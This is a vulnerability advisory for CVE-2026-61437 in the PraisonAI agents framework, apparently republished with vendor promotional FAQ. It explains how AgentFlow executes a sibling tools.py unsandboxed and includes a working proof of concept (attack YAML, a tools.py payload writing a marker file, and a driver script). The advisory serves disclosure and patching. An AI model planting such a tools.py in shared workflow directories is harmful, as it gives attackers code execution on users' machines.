Summary
PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow
An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.
Details
The vulnerability is located in the workflow structured output resolution logic.
File: src/praisonai-agents/praisonaiagents/workflows/workflows.py
Method: AgentFlow._resolve_pydantic_class
if self.file_path:
workflow_dir = Path(self.file_path).parent
tools_path = workflow_dir / "tools.py"
if tools_path.exists():
spec = importlib.util.spec_from_file_location("tools", tools_path)
tools_module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(tools_module) # Arbitrary code execution
This code is reached during step execution when a step uses a string output_pydantic:
step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
resolved_class = self._resolve_pydantic_class(step_output_pydantic)
file_path is set automatically by:
WorkflowManager._load_workflow()(used by workspace discovery)WorkflowManager.create_workflow()
It can also be set manually after load_yaml():
wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"
The exec_module() call has no sandboxing and ignores the PRAISONAI_ALLOW_*_TOOLS environment variables used elsewhere in the project.
PoC
Create the following two files in the same directory:
/tmp/attack/attack.yaml
name: AttackWorkflow
steps:
- name: generate
action: "Produce structured output"
output_pydantic: MaliciousModel
/tmp/attack/tools.py
print("[RCE] Arbitrary code executed from tools.py")
import os
with open("/tmp/rce_success.txt", "w") as f:
f.write(f"RCE executed by PID {os.getpid()}")
class MaliciousModel:
@classmethod
def model_json_schema(cls):
return {"type": "object"}
Run the following Python code (adjust the path to your PraisonAI source):
import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")
from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent
mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")
wf.file_path = "/tmp/attack/attack.yaml"
for step in wf.steps:
step.output_pydantic = "MaliciousModel"
step._output_pydantic = "MaliciousModel"
if not getattr(step, "agent", None):
step.agent = Agent(
name="researcher",
role="Researcher",
goal="Generate output",
instructions="Return structured data"
)
wf.start("trigger")
Impact
Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.
Affected users include:
- Users of
WorkflowManager(workspace_path=...), where workflow discovery automatically setsfile_path. - Users of
WorkflowManager.create_workflow(). - Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.
During workflow execution, a string output_pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.
As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.
Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.
This behavior also bypasses the PRAISONAI_ALLOW_TEMPLATE_TOOLS / PRAISONAI_ALLOW_LOCAL_TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.
CVE-2026-61437 has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.78); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-61437? CVE-2026-61437 is a high-severity security vulnerability in praisonaiagents (pip), affecting versions <= 1.6.77. It is fixed in 1.6.78.
- How severe is CVE-2026-61437? CVE-2026-61437 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of praisonaiagents are affected by CVE-2026-61437? praisonaiagents (pip) versions <= 1.6.77 is affected.
- Is there a fix for CVE-2026-61437? Yes. CVE-2026-61437 is fixed in 1.6.78. Upgrade to this version or later.
- Is CVE-2026-61437 exploitable, and should I be worried? Whether CVE-2026-61437 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-61437 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-61437? Upgrade
praisonaiagentsto 1.6.78 or later.